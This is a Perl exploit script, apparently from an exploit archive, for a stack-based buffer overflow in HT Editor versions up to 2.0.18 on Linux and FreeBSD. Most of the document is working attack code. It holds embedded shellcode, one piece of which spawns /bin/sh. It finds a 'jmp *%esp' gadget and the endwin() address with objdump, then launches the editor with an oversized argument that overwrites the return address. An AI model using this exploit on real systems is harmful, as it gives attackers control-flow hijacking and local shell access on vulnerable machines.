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# Exploit Title: HT Editor File openning Stack Overflow (0day) # Date: March 30th 2011 # Author: ZadYree # Software Link: http://hte.sourceforge.net/downloads.html # Version: <= 2.0.18 # Tested on: Linux/Windows (buffer padding may differ on W32) # CVE : None #!/usr/bin/perl =head1 TITLE HT Editor <=2.0.18 0day Stack-Based Overflow Exploit =head1 DESCRIPTION The vulnerability is triggered by a too large argument (+ path) which simply lets you overwrite eip. =head2 AUTHOR ZadYree ~ 3LRVS Team =head3 SEE ALSO ZadYree's blog: z4d.tuxfamily.org 3LRVS blog: 3lrvs.tuxfamily.org Shellcodes based on http://www.shell-storm.org/shellcode/files/shellcode-606.php http://www.shell-storm.org/shellcode/files/shellcode-171.php => Thanks =cut use 5.010; my ($esp, $retaddr); my $scz = [ "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e" . "\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8" . "\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67" . "\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30" . "\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4" . "\x53\x52\x54\x8a\xe2\xce\x81", "\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b" . "\x08\x89\x43\x0c\x50\x8d\x53\x08\x52\x53" . "\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff" . "/bin/sh" ]; say'[*]Looking for $esp and endwin()...'; my $namez = [qw#/usr/bin/hte /usr/local/bin/ht#]; my $infos = get_infos(qx{uname}); my $name = $infos->[0]; say '[+]endwin() address found! (0x', $infos->[3],')'; for my $line(qx{objdump -D $name | grep "ff e4"}) { $esp = "0" . $1, last if ($line =~ m{([a-f0-9]{7}).+jmp\s{4}\*%esp}); } say '[+]$esp place found! (0x', $esp, ")\012Now exploiting..."; my @payload = ($infos->[0], ("A" x ($infos->[1] - length(qx{pwd}))) . reverse(pack('H*', $infos->[3])) . reverse(pack('H*', $esp)) . $infos->[2]); exec(@payload); sub get_infos { given(shift) { when(/Linux/) { return([$namez->[0], 4108, $scz->[0], getendwin("linux")]); } when(/FreeBSD/) { return([$namez->[1], 271, $scz->[1], getendwin("freebsd")]); } #Possibility to add friends ^^ } } sub getendwin { given(shift) { when("linux") { my $n = $namez->[0]; for (qx{objdump -d $n | grep endwin}) { $retaddr = $1, last if ($_ =~ m{(.*) <}); } return($retaddr); } when("freebsd") { return("282c2990"); } } } |
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